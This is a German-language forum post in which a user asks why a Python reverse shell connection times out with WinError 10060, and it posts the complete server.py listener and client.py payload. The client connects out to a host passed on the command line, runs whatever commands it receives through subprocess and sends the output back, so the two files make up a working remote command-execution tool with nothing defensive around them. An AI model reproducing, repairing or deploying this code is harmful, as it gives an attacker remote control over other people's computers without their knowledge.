Reverse Shell Verbindung war fehlerhaft
Verfasst: Mittwoch 9. März 2022, 20:18
Das ist der Fehler:
TimeoutError: [WinError 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat.
server.py
client.py
TimeoutError: [WinError 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat.
server.py
Code: Alles auswählen
from http import client
import socket
from tkinter import SEPARATOR
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 8000
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
s = socket.socket()
s.bind((SERVER_HOST, SERVER_PORT))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
while True:
command = input(f"{cwd} $> ")
if not command.strip():
continue
client_socket.send(command.encode())
if command.lower() == "exit":
break
output = client_socket.recv(BUFFER_SIZE).decode()
print("output:", output)
results, cwd = output.split(SEPARATOR)
print(results)
client_socket.close()
s.close()
Code: Alles auswählen
import socket
import os
import subprocess
import sys
SERVER_HOST = sys.argv[1]
SERVER_PORT = 8000
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
cwd = os.getcwd()
s.send(cwd.encode())
while True:
command = s.recv(BUFFER_SIZE).decode()
splited_command = command.split()
if command.lower() == "exit":
break
if splited_command[0].lower() == "cd":
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
output = str(e)
else:
output = ""
else:
output = subprocess.getoutput(command)
cwd = os.getcwd()
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
s.close()